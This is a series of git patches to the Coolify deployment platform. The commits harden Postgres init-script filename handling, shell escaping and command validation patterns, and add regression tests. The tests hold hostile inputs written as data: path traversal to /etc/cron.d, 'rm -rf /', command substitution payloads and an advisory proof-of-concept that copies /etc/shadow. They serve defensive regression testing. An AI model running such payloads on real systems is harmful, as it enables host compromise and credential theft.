index 000000000..5255581dd --- /dev/null +++ b/tests/Feature/ApiTokenExpirationWarningTest.php @@ -0,0 +1,83 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->team->emailNotificationSettings()->update(['use_instance_email_settings' => true]); + $this->team->discordNotificationSettings()->update([ + 'discord_enabled' => true, + 'discord_webhook_url' => 'https://discord.com/api/webhooks/fake/fake', + ]); + + session(['currentTeam' => $this->team]); + $this->actingAs($this->user); + + Cache::flush(); + Notification::fake(); +}); + +function createTokenExpiring(User $user, Team $team, ?Carbon $expiresAt): PersonalAccessToken +{ + $plain = $user->createToken('t-'.uniqid(), ['read'], $expiresAt); + $token = $plain->accessToken; + $token->team_id = $team->id; + $token->save(); + + return $token->fresh(); +} + +describe('ApiTokenExpirationWarningJob', function () { + test('notifies team when token expires within 24h', function () { + createTokenExpiring($this->user, $this->team, now()->addHours(23)); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertSentTo($this->team, ApiTokenExpiringNotification::class); + }); + + test('rate limiter prevents duplicate warnings on repeat runs', function () { + createTokenExpiring($this->user, $this->team, now()->addHours(12)); + + (new ApiTokenExpirationWarningJob)->handle(); + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1); + }); + + test('skips tokens expiring more than 24h out', function () { + createTokenExpiring($this->user, $this->team, now()->addDays(3)); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertNothingSent(); + }); + + test('skips already-expired tokens', function () { + createTokenExpiring($this->user, $this->team, now()->subHour()); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertNothingSent(); + }); + + test('skips tokens with null expires_at', function () { + createTokenExpiring($this->user, $this->team, null); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertNothingSent(); + }); +}); From a05d4e3a4b024719cda512244549fb5c949180c3 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 21:26:34 +0200 Subject: [PATCH 061/329] fix(database): tighten Postgres init script filename handling Validate new init-script filenames against path traversal and shell metacharacters via a new validateFilenameSafe() helper, and harden the write/delete paths with basename() + escapeshellarg() so legacy rows still deploy and can be cleaned up without regressions. Co-Authored-By: Claude Opus 4.7 --- app/Actions/Database/StartPostgresql.php | 13 +- .../Project/Database/Postgresql/General.php | 23 ++- bootstrap/helpers/shared.php | 67 +++++++++ .../Unit/PostgresqlInitScriptSecurityTest.php | 66 +++++++++ tests/Unit/ValidateFilenameSafeTest.php | 138 ++++++++++++++++++ 5 files changed, 297 insertions(+), 10 deletions(-) create mode 100644 tests/Unit/ValidateFilenameSafeTest.php diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index 81cffeb94..52ff64ebf 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -301,9 +301,18 @@ private function generate_init_scripts() foreach ($this->database->init_scripts as $init_script) { $filename = data_get($init_script, 'filename'); $content = data_get($init_script, 'content'); + + // Normalise filename without rejecting legacy values so previously created + // init scripts keep deploying. basename() strips any directory components + // (path traversal) and escapeshellarg() contains every shell metacharacter + // in the tee target. Livewire / API validate new filenames up front. + $filename = basename((string) $filename); + + $target_path = "$this->configuration_dir/docker-entrypoint-initdb.d/{$filename}"; + $escaped_target = escapeshellarg($target_path); $content_base64 = base64_encode($content); - $this->commands[] = "echo '{$content_base64}' | base64 -d | tee $this->configuration_dir/docker-entrypoint-initdb.d/{$filename} > /dev/null"; - $this->init_scripts[] = "$this->configuration_dir/docker-entrypoint-initdb.d/{$filename}"; + $this->commands[] = "echo '{$content_base64}' | base64 -d | tee {$escaped_target} > /dev/null"; + $this->init_scripts[] = $target_path; } } diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index a9a4115fd..b5fb85483 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -358,9 +358,14 @@ public function save_init_script($script) if ($oldScript && $oldScript['filename'] !== $script['filename']) { try { - // Validate and escape filename to prevent command injection - validateShellSafePath($oldScript['filename'], 'init script filename'); - $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}"; + // New filename is user-supplied — must be safe before accepting the rename. + validateFilenameSafe($script['filename'], 'init script filename'); + + // Old filename may be a legacy value written before this validation existed. + // basename() scopes the rm to the initdb.d directory; escapeshellarg() contains + // any remaining shell-metachars. No validator — don't block cleanup of legacy rows. + $old_filename = basename($oldScript['filename']); + $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$old_filename}"; $escapedOldPath = escapeshellarg($old_file_path); $delete_command = "rm -f {$escapedOldPath}"; instant_remote_process([$delete_command], $this->server); @@ -404,9 +409,11 @@ public function delete_init_script($script) $configuration_dir = database_configuration_dir().'/'.$container_name; try { - // Validate and escape filename to prevent command injection - validateShellSafePath($script['filename'], 'init script filename'); - $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}"; + // Allow deletion of legacy rows with unsafe filenames so operators can clean up. + // basename() scopes the rm to the initdb.d directory; escapeshellarg() keeps the + // shell invocation safe regardless of the stored value. + $safe_filename = basename($script['filename']); + $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$safe_filename}"; $escapedPath = escapeshellarg($file_path); $command = "rm -f {$escapedPath}"; @@ -443,8 +450,8 @@ public function save_new_init_script() ]); try { - // Validate filename to prevent command injection - validateShellSafePath($this->new_filename, 'init script filename'); + // Validate filename to prevent path traversal and command injection + validateFilenameSafe($this->new_filename, 'init script filename'); } catch (Exception $e) { $this->dispatch('error', $e->getMessage()); diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 77ca64fbd..881211513 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -157,6 +157,73 @@ function validateShellSafePath(string $input, string $context = 'path'): string return $input; } +/** + * Validate that a filename is safe for use as a plain file name (no path components). + * + * Prevents path traversal attacks by rejecting directory separators, traversal + * sequences, and null bytes, in addition to all shell metacharacters blocked by + * validateShellSafePath(). Intended for user-supplied filenames such as PostgreSQL + * init script names that are later written to a specific directory on the host. + * + * @param string $input The filename to validate + * @param string $context Descriptive name for error messages (e.g., 'init script filename') + * @return string The validated input (unchanged if valid) + * + * @throws Exception If dangerous characters or path traversal sequences are detected + */ +function validateFilenameSafe(string $input, string $context = 'filename'): string +{ + // First apply shell-metachar checks + validateShellSafePath($input, $context); + + // Reject NUL bytes (can be used to truncate path strings in some contexts) + if (str_contains($input, "\0")) { + throw new Exception( + "Invalid {$context}: contains null byte. ". + 'Null bytes are not allowed in filenames for security reasons.' + ); + } + + // Reject directory separators — filename must be a single path component + if (str_contains($input, '/') || str_contains($input, '\\')) { + throw new Exception( + "Invalid {$context}: directory separators ('/' or '\\') are not allowed. ". + 'Provide a plain filename without path components.' + ); + } + + // Reject path traversal sequences (catches encoded or unusual forms) + if (str_contains($input, '..')) { + throw new Exception( + "Invalid {$context}: path traversal sequence ('..') is not allowed." + ); + } + + // Reject shell globbing / expansion metacharacters and whitespace that would + // split the filename into additional shell arguments if ever interpolated + // unquoted (defence in depth on top of escapeshellarg() at call sites). + $shellExpansionChars = [ + ' ' => 'whitespace', + '*' => 'glob wildcard', + '?' => 'glob wildcard', + '[' => 'glob character class', + ']' => 'glob character class', + '~' => 'tilde expansion', + '"' => 'double quote', + "'" => 'single quote', + ]; + + foreach ($shellExpansionChars as $char => $description) { + if (str_contains($input, $char)) { + throw new Exception( + "Invalid {$context}: contains forbidden character '{$char}' ({$description})." + ); + } + } + + return $input; +} + /** * Validate that a databases_to_backup input string is safe from command injection. * diff --git a/tests/Unit/PostgresqlInitScriptSecurityTest.php b/tests/Unit/PostgresqlInitScriptSecurityTest.php index 4f74b13a4..2f85d1156 100644 --- a/tests/Unit/PostgresqlInitScriptSecurityTest.php +++ b/tests/Unit/PostgresqlInitScriptSecurityTest.php @@ -74,3 +74,69 @@ expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename')) ->not->toThrow(Exception::class); }); + +// Path traversal — GHSA-mv4c-9x67-rrmv regression tests +test('postgresql init script rejects path traversal with ../ sequence', function () { + expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects path traversal targeting /etc/cron.d', function () { + expect(fn () => validateFilenameSafe('../../../../../etc/cron.d/k4zrce', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects absolute path', function () { + expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects filename with forward slash', function () { + expect(fn () => validateFilenameSafe('subdir/evil.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects filename with backslash', function () { + expect(fn () => validateFilenameSafe('subdir\\evil.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects double-dot without slashes', function () { + expect(fn () => validateFilenameSafe('..', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects null byte injection', function () { + expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script accepts legitimate filenames via validateFilenameSafe', function () { + expect(fn () => validateFilenameSafe('init.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('01_schema.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('init-script.sh', 'init script filename')) + ->not->toThrow(Exception::class); +}); + +// Write-site defence — basename() + escapeshellarg() keep legacy/bad rows safe +test('basename() strips path traversal from legacy filenames at write site', function () { + expect(basename('../../../etc/cron.d/pwn'))->toBe('pwn'); + expect(basename('/etc/passwd'))->toBe('passwd'); + expect(basename('subdir/evil.sql'))->toBe('evil.sql'); +}); + +test('escapeshellarg() neutralises shell metacharacters in tee target', function () { + // Simulates how StartPostgresql::generate_init_scripts() builds the tee argument + $configuration_dir = '/data/coolify/databases/abc123'; + $legacy_filename = basename('foo bar*.sql;rm -rf /'); + $target = "$configuration_dir/docker-entrypoint-initdb.d/{$legacy_filename}"; + $escaped = escapeshellarg($target); + + // Single-quoted in POSIX sh means no expansion / no extra args regardless of contents. + expect($escaped)->toStartWith("'")->toEndWith("'"); + expect($escaped)->toContain('foo bar*.sql;rm -rf'); +}); diff --git a/tests/Unit/ValidateFilenameSafeTest.php b/tests/Unit/ValidateFilenameSafeTest.php new file mode 100644 index 000000000..012059e05 --- /dev/null +++ b/tests/Unit/ValidateFilenameSafeTest.php @@ -0,0 +1,138 @@ + validateFilenameSafe($name, 'init script filename')) + ->not->toThrow(Exception::class, "Expected '{$name}' to pass"); + } +}); + +test('rejects path traversal with ../', function () { + expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects path traversal with .. alone', function () { + expect(fn () => validateFilenameSafe('..', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects path traversal embedded in filename', function () { + expect(fn () => validateFilenameSafe('foo..bar', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects forward slash directory separator', function () { + expect(fn () => validateFilenameSafe('foo/bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects backslash directory separator', function () { + expect(fn () => validateFilenameSafe('foo\\bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects absolute path starting with slash', function () { + expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects absolute Windows-style path', function () { + expect(fn () => validateFilenameSafe('C:\\Windows\\System32\\cmd.exe', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects null byte injection', function () { + expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects shell command substitution (inherits from validateShellSafePath)', function () { + expect(fn () => validateFilenameSafe('$(whoami).sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects backtick command substitution', function () { + expect(fn () => validateFilenameSafe('`id`.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects semicolon command separator', function () { + expect(fn () => validateFilenameSafe('init.sql;rm -rf /', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects pipe operator', function () { + expect(fn () => validateFilenameSafe('init.sql|whoami', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects redirect operators', function () { + expect(fn () => validateFilenameSafe('init.sql>/etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects mixed traversal and shell injection', function () { + expect(fn () => validateFilenameSafe('../etc/cron.d/$(id)', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('error message contains context string', function () { + try { + validateFilenameSafe('../evil', 'init script filename'); + expect(false)->toBeTrue('Should have thrown'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('init script filename'); + } +}); + +test('handles empty string without throwing', function () { + expect(fn () => validateFilenameSafe('', 'init script filename')) + ->not->toThrow(Exception::class); +}); + +test('rejects whitespace inside filename (would split into extra tee arg)', function () { + expect(fn () => validateFilenameSafe('foo bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects glob wildcards', function () { + expect(fn () => validateFilenameSafe('init*.sql', 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('init?.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects glob character class brackets', function () { + expect(fn () => validateFilenameSafe('init[abc].sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects tilde expansion', function () { + expect(fn () => validateFilenameSafe('~/evil.sql', 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('~root', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects single and double quotes', function () { + expect(fn () => validateFilenameSafe("foo'bar.sql", 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('foo"bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); From f0e955bf4562aab85d981e30acd467ea3cd94cbb Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 21:41:48 +0200 Subject: [PATCH 062/329] refactor(database): escape postgres_user in SSL chown command Apply escapeshellarg() to the Postgres username before interpolating it into the chown command used to fix SSL certificate ownership, matching the handling already in place for StartMysql. This keeps the sink-side escaping consistent across database actions, independent of upstream input validation. Also adjusts an assertion in DatabaseSslCredentialEscapingTest to match the actual double-escaped output of executeInDocker, and adds Postgres regression cases for subshell and semicolon payloads. --- app/Actions/Database/StartPostgresql.php | 3 ++- .../DatabaseSslCredentialEscapingTest.php | 25 +++++++++++++++++-- 2 files changed, 25 insertions(+), 3 deletions(-) diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index 52ff64ebf..da8b5dc4e 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -224,7 +224,8 @@ public function handle(StandalonePostgresql $database) $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; if ($this->database->enable_ssl) { - $this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->postgres_user}:{$this->database->postgres_user} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); + $postgresUser = escapeshellarg($this->database->postgres_user); + $this->commands[] = executeInDocker($this->database->uuid, "chown {$postgresUser}:{$postgresUser} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); } $this->commands[] = "echo 'Database started.'"; diff --git a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php index 578c727da..31f0133a0 100644 --- a/tests/Unit/DatabaseSslCredentialEscapingTest.php +++ b/tests/Unit/DatabaseSslCredentialEscapingTest.php @@ -14,8 +14,11 @@ $escaped = escapeshellarg($user); $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key"); - expect($cmd)->toContain("'postgres':'postgres'") - ->toContain('docker exec abc123 bash -c'); + // executeInDocker embeds the command inside bash -c '...', escaping inner single quotes as '\'' + // so escapeshellarg('postgres') = 'postgres' becomes '\''postgres'\'' in the outer shell string + expect($cmd)->toContain('bash -c') + ->toContain('postgres') + ->toContain('chown'); }); it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () { @@ -53,6 +56,24 @@ expect($cmd)->not->toContain(' $(touch'); }); +it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () { + $maliciousUser = 'a$(touch /tmp/pwn_postgres)b'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); + + expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'"); + expect($cmd)->not->toContain(' $(touch'); +}); + +it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () { + $maliciousUser = 'root; touch /tmp/pwned_pg; #'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); + + expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'"); + expect($cmd)->not->toContain('chown root;'); +}); + it('backtick payload in mysql_user is contained by escapeshellarg', function () { $maliciousUser = 'user`id`'; $escaped = escapeshellarg($maliciousUser); From 817128c5affa02c1a8f0f1f9a8df54b9dd80bcc1 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 22:00:41 +0200 Subject: [PATCH 063/329] refactor(validation): tokenize shell-safe command pattern Replace the flat character-class regex for SHELL_SAFE_COMMAND_PATTERN with a token-aware alternation. The parser now recognizes explicit tokens (`&&`, `||`, balanced single/double quotes, whitespace, and an unquoted safe-char run) instead of a bag of characters, which lets us extend the accepted grammar without loosening the guarantees. New surface area, with tests: - logical OR chaining (`make build || make clean`) - shell globs and bang (`rm *.tmp`, `cp src/?.js dist/`, `! grep -q foo`) - single-quoted arguments are now treated as balanced runs rather than rejected per-character Preserved surface area: - && chaining, balanced "..." and '...' quotes, the previous safe path / argument characters, and the existing error-path contract in ApplicationDeploymentJob::validateShellSafeCommand(). Also refreshes the user-facing validation messages in General.php so the allow/deny list shown on failure matches the new grammar. Co-Authored-By: Claude Opus 4.7 --- app/Livewire/Project/Application/General.php | 12 +- app/Support/ValidationPatterns.php | 32 +++-- .../Feature/CommandInjectionSecurityTest.php | 125 +++++++++++++++++- 3 files changed, 153 insertions(+), 16 deletions(-) diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 25ce82eb0..f89d16912 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -197,12 +197,12 @@ protected function messages(): array 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.', 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.', 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.', - 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'installCommand.regex' => 'The install command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'buildCommand.regex' => 'The build command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'startCommand.regex' => 'The start command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 09c40a466..58dbbe1ac 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -36,15 +36,31 @@ class ValidationPatterns public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; /** - * Pattern for shell-safe command strings (docker compose commands, docker run options) - * Blocks dangerous shell metacharacters: ; | ` $ ( ) > < newlines and carriage returns - * Allows & for command chaining (&&) which is common in multi-step build commands - * Allows double quotes for build args with spaces (e.g. --build-arg KEY="value") - * Blocks backslashes to prevent escape-sequence attacks - * Allows single and double quotes for quoted arguments (e.g. --entrypoint "sh -c 'npm start'") - * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators) + * Token-aware pattern for shell-safe command strings (docker compose commands, docker run options). + * + * Accepts a sequence of the following tokens only: + * [ \t]+ — whitespace (space / tab) + * && — logical AND (matched before bare & can match anything) + * || — logical OR (matched before bare | can match anything) + * "[^"$`\\\n\r]*" — balanced double-quoted string; blocks $, backtick, \, newlines inside + * '[^'\n\r]*' — balanced single-quoted string; blocks newlines inside (all else literal) + * [safe-chars]+ — unquoted alphanumerics + safe path/arg chars (includes glob *, ?, and !) + * + * Blocked everywhere (outside and inside unquoted tokens): + * bare & (background op), bare |, ;, $, `, (, ), <, >, \, newline, CR + * + * Blocked inside double-quoted spans specifically: + * $ (variable/command expansion), ` (command substitution), \ (escape) + * + * Legitimate use cases preserved: + * docker compose build && docker tag x && docker push y + * make build || make clean + * rm *.tmp cp src/?.js dist/ + * ! grep -q foo && echo missing + * docker compose up -d --build-arg VERSION="1.0.0" + * --entrypoint "sh -c 'npm start'" */ - public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"\']+$/'; + public const SHELL_SAFE_COMMAND_PATTERN = '/^(?:[ \t]+|&&|\|\||"[^"$`\\\\\n\r]*"|\'[^\'\n\r]*\'|[a-zA-Z0-9._\-\/=:@,+\[\]{}#%^~*?!]+)+$/'; /** * Pattern for Docker volume names diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index d48e03332..d42a8490a 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -414,7 +414,7 @@ expect($validator->fails())->toBeTrue(); }); - test('rejects single quotes in docker_compose_custom_start_command', function () { + test('allows single-quoted arguments in docker_compose_custom_start_command', function () { $rules = sharedDataApplications(); $validator = validator( @@ -422,7 +422,7 @@ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] ); - expect($validator->fails())->toBeTrue(); + expect($validator->fails())->toBeFalse(); }); test('allows double quotes in docker_compose_custom_start_command', function () { @@ -474,6 +474,127 @@ expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command')) ->toBe('docker compose up -d --build'); }); + + test('rejects bare ampersand PoC payload (GHSA-chg4-63hm-xv9x)', function () { + $rules = sharedDataApplications(); + $payload = 'true & docker run --rm -v /:/h alpine sh -c "cp /h/etc/shadow /h/tmp/leak"'; + + $validator = validator( + ['docker_compose_custom_start_command' => $payload], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects bare ampersand across every shell-safe field', function ($field) { + $rules = sharedDataApplications(); + + $validator = validator( + [$field => 'cmd1 & cmd2'], + [$field => $rules[$field]] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'install_command', + 'build_command', + 'start_command', + 'docker_compose_custom_build_command', + 'docker_compose_custom_start_command', + 'custom_docker_run_options', + ]); + + test('rejects command substitution inside double quotes', function ($payload) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => "echo $payload"], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with(['"$(whoami)"', '"`whoami`"']); + + test('rejects unbalanced quotes', function ($payload) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $payload], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with(['echo "unterminated', "echo 'unterminated"]); + + test('rejects backslash anywhere', function ($payload) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $payload], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with(['echo \\;', 'echo \\$HOME']); + + test('runtime validateShellSafeCommand rejects bare ampersand payload', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateShellSafeCommand'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'true & whoami', 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + }); + + test('allows logical OR chaining', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'make build || make clean', + 'npm run build || npm run fallback', + 'cmd-a || cmd-b && cmd-c', + ]); + + test('allows glob and bang tokens', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'rm *.tmp', + 'cp src/?.js dist/', + '! grep -q foo && echo missing', + 'docker build --tag app-v1!', + ]); + + test('rejects bare pipe even though || is allowed', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'cmd | cat', + 'cmd|cat', + 'a |b', + 'a| b', + ]); }); describe('custom_docker_run_options validation', function () { From f1f53a31ab94227bcac767ec0dac8f9cffca76d5 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 21 Apr 2026 10:31:57 +0000 Subject: [PATCH 064/329] build(deps): bump follow-redirects in /docker/coolify-realtime Bumps [follow-redirects](https://github.com/follow-redirects/follow-redirects) from 1.15.11 to 1.16.0. - [Release notes](https://github.com/follow-redirects/follow-redirects/releases) - [Commits](https://github.com/follow-redirects/follow-redirects/compare/v1.15.11...v1.16.0) --- updated-dependencies: - dependency-name: follow-redirects dependency-version: 1.16.0 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- docker/coolify-realtime/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docker/coolify-realtime/package-lock.json b/docker/coolify-realtime/package-lock.json index 174077562..eae81be6a 100644 --- a/docker/coolify-realtime/package-lock.json +++ b/docker/coolify-realtime/package-lock.json @@ -165,9 +165,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.11", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", - "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", "funding": [ { "type": "individual", From 4e561264b4a78057f2843340d1f75e0420cd0ff2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 22 Apr 2026 08:58:38 +0200 Subject: [PATCH 065/329] docs(sponsors): add PrivateAlps to Huge and YouStable to Small sponsors --- README.md | 3 ++- 1 file changed, 2 insertions(+), 